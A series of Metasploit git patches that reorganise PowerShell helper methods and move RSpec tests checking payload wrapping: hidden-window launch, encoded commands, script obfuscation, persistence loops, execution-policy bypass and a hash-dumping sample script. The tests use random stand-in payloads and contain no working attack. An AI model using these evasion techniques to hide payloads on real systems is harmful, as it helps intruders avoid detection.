+        decompress(code).include?('Start-Sleep -s ').should be_false
+      end
+    end
 
+    context 'when prepend_sleep is 0' do
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = 0
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('Start-Sleep -s ').should be_false
       end
     end
 
     context 'when method is old' do
-
+      before do
+        subject.datastore['Powershell::method'] = 'old'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('-namespace Win32Functions').should be_true
+      end
+      it 'shouldnt shorten args' do
+        code = subject.cmd_psh_payload(payload, arch)
+        code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
+      end
+      it 'should include -NoExit' do
+        code = subject.cmd_psh_payload(payload, arch)
+        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
+      end
     end
 
     context 'when method is net' do
-
+      before do
+        subject.datastore['Powershell::method'] = 'net'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('System.Runtime.InteropServices;').should be_true
+      end
     end
 
     context 'when method is reflection' do
-
+      before do
+        subject.datastore['Powershell::method'] = 'reflection'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('GlobalAssemblyCache').should be_true
+      end
     end
 
     context 'when method is msil' do
+      before do
+        subject.datastore['Powershell::method'] = 'msil'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should raise an exception' do
+        except = false
+        begin
+          subject.cmd_psh_payload(payload, arch)
+        rescue RuntimeError
+          except = true
+        end
+        except.should be_true
+      end
+    end
 
+    context 'when method is unknown' do
+      before do
+        subject.datastore['Powershell::method'] = 'blah'
+      end
+      it 'should raise an exception' do
+        except = false
+        begin
+          subject.cmd_psh_payload(payload, arch)
+        rescue RuntimeError
+          except = true
+        end
+        except.should be_true
+      end
+      after do
+        subject.datastore['Powershell::method'] = 'reflection'
+        subject.options.validate(subject.datastore)
+      end
     end
 
     context 'when encode_inner_payload' do
+      it 'should contain an inner payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
+          code.include?(' -e ').should be_true
+      end
 
+      context 'when no_equals is true' do
+        it 'should raise an exception' do
+          except = false
+          begin
+            code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true})
+          rescue RuntimeError
+            except = true
+          end
+          except.should be_true
+        end
+      end
     end
 
     context 'when encode_final_payload' do
-
+      context 'when no_equals is false' do
+        it 'should contain a final payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
+          code.include?(' -e ').should be_true
+          code.include?(' -c ').should be_false
+        end
+      end
+      context 'when no_equals is true' do
+        it 'should contain a final payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
+          code.include?(' -e ').should be_true
+          code.include?(' -c ').should be_false
+          code.include?('=').should be_false
+        end
+      end
     end
 
     context 'when remove_comspec' do
-
+      it 'shouldnt contain %COMSPEC%' do
+        code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
+        code.include?('%COMSPEC%').should be_false
+      end
     end
 
     context 'when use single quotes' do
-
+      it 'should wrap in single quotes' do
+        code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
+        code.include?(' -c \'').should be_true
+      end
     end
   end
 

From 206184007f73d2613594e75d72ab62b0b9d37dd3 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 15:16:15 +0100
Subject: [PATCH 086/108] Move methods and rename file so it is run by rspec

---
 lib/rex/exploitation/powershell.rb            | 47 +++++++++++++++++++
 .../{powershell.rb => powershell_spec.rb}     |  0
 2 files changed, 47 insertions(+)
 rename spec/lib/msf/core/exploit/{powershell.rb => powershell_spec.rb} (100%)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 63cf8be0f6c6..e7dd429dbbc7 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -8,6 +8,53 @@ module Exploitation
 
 module Powershell
 
+  #
+  # Reads script into a PowershellScript
+  #
+  # @param script_path [String] Path to the Script File
+  #
+  # @return [PowershellScript] PowerShellScript object
+  def read_script(script_path)
+    return PowershellScript.new(script_path)
+  end
+
+  #
+  # Insert substitutions into the powershell script
+  # If script is a path to a file then read the file
+  # otherwise treat it as the contents of a file
+  #
+  # @param script [String] Script file or path to script
+  # @param subs [Array] Substitutions to insert
+  #
+  # @return [String] Modified script file
+  def make_subs(script, subs)
+    if ::File.file?(script)
+      script = ::File.read(script)
+    end
+
+    subs.each do |set|
+      script.gsub!(set[0],set[1])
+    end
+
+    script
+  end
+
+  #
+  # Return an array of substitutions for use in make_subs
+  #
+  # @param subs [String] A ; seperated list of substitutions
+  #
+  # @return [Array] An array of substitutions
+  def process_subs(subs)
+    return [] if subs.nil? or subs.empty?
+    new_subs = []
+    subs.split(';').each do |set|
+      new_subs << set.split(',', 2)
+    end
+
+    new_subs
+  end
+
   module Output
 
     #
diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
similarity index 100%
rename from spec/lib/msf/core/exploit/powershell.rb
rename to spec/lib/msf/core/exploit/powershell_spec.rb

From 19dd21abaf2cffb0a9bd4bedac86bfec901d5853 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 15:40:03 +0100
Subject: [PATCH 087/108] Remove duplicate methods

---
 lib/msf/core/exploit/powershell.rb | 47 ------------------------------
 1 file changed, 47 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 4a53cd4596f8..85ceff6fbe8d 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -25,53 +25,6 @@ def initialize(info = {})
       ], self.class)
   end
 
-  #
-  # Reads script into a PowershellScript
-  #
-  # @param script_path [String] Path to the Script File
-  #
-  # @return [PowershellScript] PowerShellScript object
-  def read_script(script_path)
-    return PowershellScript.new(script_path)
-  end
-
-  #
-  # Insert substitutions into the powershell script
-  # If script is a path to a file then read the file
-  # otherwise treat it as the contents of a file
-  #
-  # @param script [String] Script file or path to script
-  # @param subs [Array] Substitutions to insert
-  #
-  # @return [String] Modified script file
-  def make_subs(script, subs)
-    if ::File.file?(script)
-      script = ::File.read(script)
-    end
-
-    subs.each do |set|
-      script.gsub!(set[0],set[1])
-    end
-
-    script
-  end
-
-  #
-  # Return an array of substitutions for use in make_subs
-  #
-  # @param subs [String] A ; seperated list of substitutions
-  #
-  # @return [Array] An array of substitutions
-  def process_subs(subs)
-    return [] if subs.nil? or subs.empty?
-    new_subs = []
-    subs.split(';').each do |set|
-      new_subs << set.split(',', 2)
-    end
-
-    new_subs
-  end
-
   #
   # Return an encoded powershell script
   # Will invoke PSH modifiers as enabled

From 5b9ec72395296b2d54f2a53805140d92639f64d2 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 15:40:52 +0100
Subject: [PATCH 088/108] Remove read_script spec

---
 spec/lib/msf/core/exploit/powershell.rb | 477 ++++++++++++++++++++++++
 1 file changed, 477 insertions(+)
 create mode 100644 spec/lib/msf/core/exploit/powershell.rb

diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
new file mode 100644
index 000000000000..7d7d262e8d37
--- /dev/null
+++ b/spec/lib/msf/core/exploit/powershell.rb
@@ -0,0 +1,477 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+def decompress(code)
+  Rex::Exploitation::Powershell::Script.new(code).decompress_code
+end
+
+describe Msf::Exploit::Powershell do
+  subject do
+    mod = Msf::Exploit.allocate
+    mod.extend described_class
+    mod.send(:initialize, {})
+    mod.datastore['Verbose'] = true
+    mod
+  end
+
+  let(:example_script) do
+    File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
+  end
+
+  let(:payload) do
+    Rex::Text.rand_text_alpha(120)
+  end
+
+  let(:arch) do
+    'x86'
+  end
+
+  describe "::encode_script" do
+    it 'should read and encode a sample script file' do
+      script = subject.encode_script(example_script)
+      script.should be
+      script.length.should be > 0
+    end
+  end
+
+  describe "::compress_script" do
+    context 'when default datastore is set' do
+      it 'should create a compressed script' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+        compressed.include?('IO.Compression').should be_true
+      end
+
+      it 'should create a compressed script with eof' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script, 'end_of_file')
+        compressed.length.should be < script.length
+      end
+    end
+
+    context 'when strip_comments is true' do
+      before do
+        subject.datastore['Powershell::strip_comments'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should strip comments' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+      end
+    end
+    context 'when strip_comment is false' do
+      before do
+        subject.datastore['Powershell::strip_comments'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt strip comments' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+      end
+    end
+
+    context 'when strip_whitespace is true' do
+      before do
+        subject.datastore['Powershell::strip_whitespace'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should strip whitespace' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).length.should be < script.length
+      end
+    end
+
+    context 'when strip_whitespace is false' do
+      before do
+        subject.datastore['Powershell::strip_whitespace'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt strip whitespace' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).length.should be script.length
+      end
+    end
+
+    context 'when sub_vars is true' do
+      before do
+        subject.datastore['Powershell::sub_vars'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('$hashes').should be_false
+      end
+    end
+
+    context 'when sub_vars is false' do
+      before do
+        subject.datastore['Powershell::sub_vars'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('$hashes').should be_true
+      end
+    end
+
+    context 'when sub_funcs is true' do
+      before do
+        subject.datastore['Powershell::sub_funcs'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should substitute functions' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('DumpHashes').should be_false
+      end
+    end
+
+    context 'when sub_funcs is false' do
+      before do
+        subject.datastore['Powershell::sub_funcs'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('DumpHashes').should be_true
+      end
+    end
+  end
+
+  describe "::run_hidden_psh" do
+
+
+    let(:encoded) do
+      false
+    end
+
+    context 'when x86 payload' do
+      it 'should generate code' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('syswow64').should be_true
+      end
+    end
+
+    context 'when x64 payload' do
+      it 'should generate code'  do
+        code = subject.run_hidden_psh(payload, 'x86_64', encoded)
+        code.include?('sysnative').should be_true
+      end
+    end
+
+    context 'when encoded' do
+      it 'should generate a code including an encoded command' do
+        code = subject.run_hidden_psh(payload, arch, true)
+        code.include?('-nop -w hidden -e ').should be_true
+      end
+    end
+
+    context 'when command' do
+      it 'should generate code including a -c command' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('-nop -w hidden -c ').should be_true
+      end
+    end
+
+    context 'when old' do
+      before do
+        subject.datastore['Powershell::method'] = 'old'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a code including unshorted args' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
+      end
+    end
+  end
+
+  describe "::cmd_psh_payload" do
+    context 'when payload is huge' do
+      it 'should raise an exception' do
+        except = false
+        begin
+          code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch)
+        rescue RuntimeError => e
+          except = true
+        end
+
+        except.should be_true
+      end
+    end
+
+    context 'when persist is true' do
+      before do
+        subject.datastore['Powershell::persist'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should add a persistance loop' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('while(1){Start-Sleep -s ').should be_true
+      end
+    end
+
+    context 'when persist is false' do
+      before do
+        subject.datastore['Powershell::persist'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt add a persistance loop' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('while(1){Start-Sleep -s ').should be_false
+      end
+    end
+
+    context 'when prepend_sleep is set' do
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = 5
+        subject.options.validate(subject.datastore)
+      end
+      it 'should prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('Start-Sleep -s ').should be_true
+      end
+    end
+
+    context 'when prepend_sleep isnt set' do
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = nil
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('Start-Sleep -s ').should be_false
+      end
+    end
+
+    context 'when prepend_sleep is 0' do
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = 0
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('Start-Sleep -s ').should be_false
+      end
+    end
+
+    context 'when method is old' do
+      before do
+        subject.datastore['Powershell::method'] = 'old'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('-namespace Win32Functions').should be_true
+      end
+      it 'shouldnt shorten args' do
+        code = subject.cmd_psh_payload(payload, arch)
+        code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
+      end
+      it 'should include -NoExit' do
+        code = subject.cmd_psh_payload(payload, arch)
+        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
+      end
+    end
+
+    context 'when method is net' do
+      before do
+        subject.datastore['Powershell::method'] = 'net'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('System.Runtime.InteropServices;').should be_true
+      end
+    end
+
+    context 'when method is reflection' do
+      before do
+        subject.datastore['Powershell::method'] = 'reflection'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a command line' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('GlobalAssemblyCache').should be_true
+      end
+    end
+
+    context 'when method is msil' do
+      before do
+        subject.datastore['Powershell::method'] = 'msil'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should raise an exception' do
+        except = false
+        begin
+          subject.cmd_psh_payload(payload, arch)
+        rescue RuntimeError
+          except = true
+        end
+        except.should be_true
+      end
+    end
+
+    context 'when method is unknown' do
+      before do
+        subject.datastore['Powershell::method'] = 'blah'
+      end
+      it 'should raise an exception' do
+        except = false
+        begin
+          subject.cmd_psh_payload(payload, arch)
+        rescue RuntimeError
+          except = true
+        end
+        except.should be_true
+      end
+      after do
+        subject.datastore['Powershell::method'] = 'reflection'
+        subject.options.validate(subject.datastore)
+      end
+    end
+
+    context 'when encode_inner_payload' do
+      it 'should contain an inner payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
+          code.include?(' -e ').should be_true
+      end
+
+      context 'when no_equals is true' do
+        it 'should raise an exception' do
+          except = false
+          begin
+            code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true})
+          rescue RuntimeError
+            except = true
+          end
+          except.should be_true
+        end
+      end
+    end
+
+    context 'when encode_final_payload' do
+      context 'when no_equals is false' do
+        it 'should contain a final payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
+          code.include?(' -e ').should be_true
+          code.include?(' -c ').should be_false
+        end
+      end
+      context 'when no_equals is true' do
+        it 'should contain a final payload with -e' do
+          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
+          code.include?(' -e ').should be_true
+          code.include?(' -c ').should be_false
+          code.include?('=').should be_false
+        end
+      end
+    end
+
+    context 'when remove_comspec' do
+      it 'shouldnt contain %COMSPEC%' do
+        code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
+        code.include?('%COMSPEC%').should be_false
+      end
+    end
+
+    context 'when use single quotes' do
+      it 'should wrap in single quotes' do
+        code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
+        code.include?(' -c \'').should be_true
+      end
+    end
+  end
+
+  describe "::generate_psh_command_line" do
+    it 'should contain no full stop when :no_full_stop' do
+      opts = {:no_full_stop => true}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell ").should be_true
+    end
+
+    it 'should contain full stop unless :no_full_stop' do
+      opts = {}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell.exe ").should be_true
+
+      opts = {:no_full_stop => false}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell.exe ").should be_true
+    end
+
+    it 'should ensure the path should always ends with \\' do
+      opts = {:path => "test"}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("test\\powershell.exe ").should be_true
+
+      opts = {:path => "test\\"}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("test\\powershell.exe ").should be_true
+    end
+  end
+
+  describe "::generate_psh_args" do
+    it 'should return empty string for nil opts' do
+      subject.generate_psh_args(nil).should eql ""
+    end
+
+    command_args = [[:encodedcommand, "parp"],
+                    [:executionpolicy, "bypass"],
+                    [:inputformat, "xml"],
+                    [:file, "x"],
+                    [:noexit, true],
+                    [:nologo, true],
+                    [:noninteractive, true],
+                    [:mta, true],
+                    [:outputformat, 'xml'],
+                    [:sta, true],
+                    [:noprofile, true],
+                    [:windowstyle, "hidden"],
+                    [:command, "Z"]
+    ]
+
+    permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
+
+    permutations.each do |perms|
+      opts = {}
+      perms.each do |k,v|
+        opts[k] = v
+        it "should generate correct arguments for #{opts}" do
+          opts[:shorten] = true
+          short_args = subject.generate_psh_args(opts)
+          opts[:shorten] = false
+          long_args = subject.generate_psh_args(opts)
+
+          opt_length = opts.length - 1
+
+          short_args.should_not be_nil
+          long_args.should_not be_nil
+          short_args.count('-').should eql opt_length
+          long_args.count('-').should eql opt_length
+          short_args[0].should_not eql " "
+          long_args[0].should_not eql " "
+          short_args[-1].should_not eql " "
+          long_args[-1].should_not eql " "
+
+          if opts[:command]
+            long_args[-10..-1].should eql "-Command Z"
+            short_args[-4..-1].should eql "-c Z"
+          end
+       end
+      end
+    end
+  end
+
+end
+

From ae574bec2b15b40812f108800165d11dc6875f03 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 15:42:48 +0100
Subject: [PATCH 089/108] Correct spec

---
 spec/lib/msf/core/exploit/powershell.rb      | 477 -------------------
 spec/lib/msf/core/exploit/powershell_spec.rb |   7 -
 2 files changed, 484 deletions(-)
 delete mode 100644 spec/lib/msf/core/exploit/powershell.rb

diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
deleted file mode 100644
index 7d7d262e8d37..000000000000
--- a/spec/lib/msf/core/exploit/powershell.rb
+++ /dev/null
@@ -1,477 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'msf/core'
-require 'msf/core/exploit/powershell'
-
-def decompress(code)
-  Rex::Exploitation::Powershell::Script.new(code).decompress_code
-end
-
-describe Msf::Exploit::Powershell do
-  subject do
-    mod = Msf::Exploit.allocate
-    mod.extend described_class
-    mod.send(:initialize, {})
-    mod.datastore['Verbose'] = true
-    mod
-  end
-
-  let(:example_script) do
-    File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
-  end
-
-  let(:payload) do
-    Rex::Text.rand_text_alpha(120)
-  end
-
-  let(:arch) do
-    'x86'
-  end
-
-  describe "::encode_script" do
-    it 'should read and encode a sample script file' do
-      script = subject.encode_script(example_script)
-      script.should be
-      script.length.should be > 0
-    end
-  end
-
-  describe "::compress_script" do
-    context 'when default datastore is set' do
-      it 'should create a compressed script' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        compressed.length.should be < script.length
-        compressed.include?('IO.Compression').should be_true
-      end
-
-      it 'should create a compressed script with eof' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script, 'end_of_file')
-        compressed.length.should be < script.length
-      end
-    end
-
-    context 'when strip_comments is true' do
-      before do
-        subject.datastore['Powershell::strip_comments'] = true
-        subject.options.validate(subject.datastore)
-      end
-      it 'should strip comments' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        compressed.length.should be < script.length
-      end
-    end
-    context 'when strip_comment is false' do
-      before do
-        subject.datastore['Powershell::strip_comments'] = false
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt strip comments' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        compressed.length.should be < script.length
-      end
-    end
-
-    context 'when strip_whitespace is true' do
-      before do
-        subject.datastore['Powershell::strip_whitespace'] = true
-        subject.options.validate(subject.datastore)
-      end
-      it 'should strip whitespace' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).length.should be < script.length
-      end
-    end
-
-    context 'when strip_whitespace is false' do
-      before do
-        subject.datastore['Powershell::strip_whitespace'] = false
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt strip whitespace' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).length.should be script.length
-      end
-    end
-
-    context 'when sub_vars is true' do
-      before do
-        subject.datastore['Powershell::sub_vars'] = true
-        subject.options.validate(subject.datastore)
-      end
-      it 'should substitute variables' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).include?('$hashes').should be_false
-      end
-    end
-
-    context 'when sub_vars is false' do
-      before do
-        subject.datastore['Powershell::sub_vars'] = false
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt substitute variables' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).include?('$hashes').should be_true
-      end
-    end
-
-    context 'when sub_funcs is true' do
-      before do
-        subject.datastore['Powershell::sub_funcs'] = true
-        subject.options.validate(subject.datastore)
-      end
-      it 'should substitute functions' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).include?('DumpHashes').should be_false
-      end
-    end
-
-    context 'when sub_funcs is false' do
-      before do
-        subject.datastore['Powershell::sub_funcs'] = false
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt substitute variables' do
-        script = File.read(example_script)
-        compressed = subject.compress_script(script)
-        decompress(compressed).include?('DumpHashes').should be_true
-      end
-    end
-  end
-
-  describe "::run_hidden_psh" do
-
-
-    let(:encoded) do
-      false
-    end
-
-    context 'when x86 payload' do
-      it 'should generate code' do
-        code = subject.run_hidden_psh(payload, arch, encoded)
-        code.include?('syswow64').should be_true
-      end
-    end
-
-    context 'when x64 payload' do
-      it 'should generate code'  do
-        code = subject.run_hidden_psh(payload, 'x86_64', encoded)
-        code.include?('sysnative').should be_true
-      end
-    end
-
-    context 'when encoded' do
-      it 'should generate a code including an encoded command' do
-        code = subject.run_hidden_psh(payload, arch, true)
-        code.include?('-nop -w hidden -e ').should be_true
-      end
-    end
-
-    context 'when command' do
-      it 'should generate code including a -c command' do
-        code = subject.run_hidden_psh(payload, arch, encoded)
-        code.include?('-nop -w hidden -c ').should be_true
-      end
-    end
-
-    context 'when old' do
-      before do
-        subject.datastore['Powershell::method'] = 'old'
-        subject.options.validate(subject.datastore)
-      end
-      it 'should generate a code including unshorted args' do
-        code = subject.run_hidden_psh(payload, arch, encoded)
-        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
-      end
-    end
-  end
-
-  describe "::cmd_psh_payload" do
-    context 'when payload is huge' do
-      it 'should raise an exception' do
-        except = false
-        begin
-          code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch)
-        rescue RuntimeError => e
-          except = true
-        end
-
-        except.should be_true
-      end
-    end
-
-    context 'when persist is true' do
-      before do
-        subject.datastore['Powershell::persist'] = true
-        subject.options.validate(subject.datastore)
-      end
-      it 'should add a persistance loop' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('while(1){Start-Sleep -s ').should be_true
-      end
-    end
-
-    context 'when persist is false' do
-      before do
-        subject.datastore['Powershell::persist'] = false
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt add a persistance loop' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('while(1){Start-Sleep -s ').should be_false
-      end
-    end
-
-    context 'when prepend_sleep is set' do
-      before do
-        subject.datastore['Powershell::prepend_sleep'] = 5
-        subject.options.validate(subject.datastore)
-      end
-      it 'should prepend sleep' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('Start-Sleep -s ').should be_true
-      end
-    end
-
-    context 'when prepend_sleep isnt set' do
-      before do
-        subject.datastore['Powershell::prepend_sleep'] = nil
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt prepend sleep' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('Start-Sleep -s ').should be_false
-      end
-    end
-
-    context 'when prepend_sleep is 0' do
-      before do
-        subject.datastore['Powershell::prepend_sleep'] = 0
-        subject.options.validate(subject.datastore)
-      end
-      it 'shouldnt prepend sleep' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('Start-Sleep -s ').should be_false
-      end
-    end
-
-    context 'when method is old' do
-      before do
-        subject.datastore['Powershell::method'] = 'old'
-        subject.options.validate(subject.datastore)
-      end
-      it 'should generate a command line' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('-namespace Win32Functions').should be_true
-      end
-      it 'shouldnt shorten args' do
-        code = subject.cmd_psh_payload(payload, arch)
-        code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
-      end
-      it 'should include -NoExit' do
-        code = subject.cmd_psh_payload(payload, arch)
-        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
-      end
-    end
-
-    context 'when method is net' do
-      before do
-        subject.datastore['Powershell::method'] = 'net'
-        subject.options.validate(subject.datastore)
-      end
-      it 'should generate a command line' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('System.Runtime.InteropServices;').should be_true
-      end
-    end
-
-    context 'when method is reflection' do
-      before do
-        subject.datastore['Powershell::method'] = 'reflection'
-        subject.options.validate(subject.datastore)
-      end
-      it 'should generate a command line' do
-        code = subject.cmd_psh_payload(payload, arch)
-        decompress(code).include?('GlobalAssemblyCache').should be_true
-      end
-    end
-
-    context 'when method is msil' do
-      before do
-        subject.datastore['Powershell::method'] = 'msil'
-        subject.options.validate(subject.datastore)
-      end
-      it 'should raise an exception' do
-        except = false
-        begin
-          subject.cmd_psh_payload(payload, arch)
-        rescue RuntimeError
-          except = true
-        end
-        except.should be_true
-      end
-    end
-
-    context 'when method is unknown' do
-      before do
-        subject.datastore['Powershell::method'] = 'blah'
-      end
-      it 'should raise an exception' do
-        except = false
-        begin
-          subject.cmd_psh_payload(payload, arch)
-        rescue RuntimeError
-          except = true
-        end
-        except.should be_true
-      end
-      after do
-        subject.datastore['Powershell::method'] = 'reflection'
-        subject.options.validate(subject.datastore)
-      end
-    end
-
-    context 'when encode_inner_payload' do
-      it 'should contain an inner payload with -e' do
-          code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
-          code.include?(' -e ').should be_true
-      end
-
-      context 'when no_equals is true' do
-        it 'should raise an exception' do
-          except = false
-          begin
-            code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true})
-          rescue RuntimeError
-            except = true
-          end
-          except.should be_true
-        end
-      end
-    end
-
-    context 'when encode_final_payload' do
-      context 'when no_equals is false' do
-        it 'should contain a final payload with -e' do
-          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
-          code.include?(' -e ').should be_true
-          code.include?(' -c ').should be_false
-        end
-      end
-      context 'when no_equals is true' do
-        it 'should contain a final payload with -e' do
-          code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
-          code.include?(' -e ').should be_true
-          code.include?(' -c ').should be_false
-          code.include?('=').should be_false
-        end
-      end
-    end
-
-    context 'when remove_comspec' do
-      it 'shouldnt contain %COMSPEC%' do
-        code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
-        code.include?('%COMSPEC%').should be_false
-      end
-    end
-
-    context 'when use single quotes' do
-      it 'should wrap in single quotes' do
-        code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
-        code.include?(' -c \'').should be_true
-      end
-    end
-  end
-
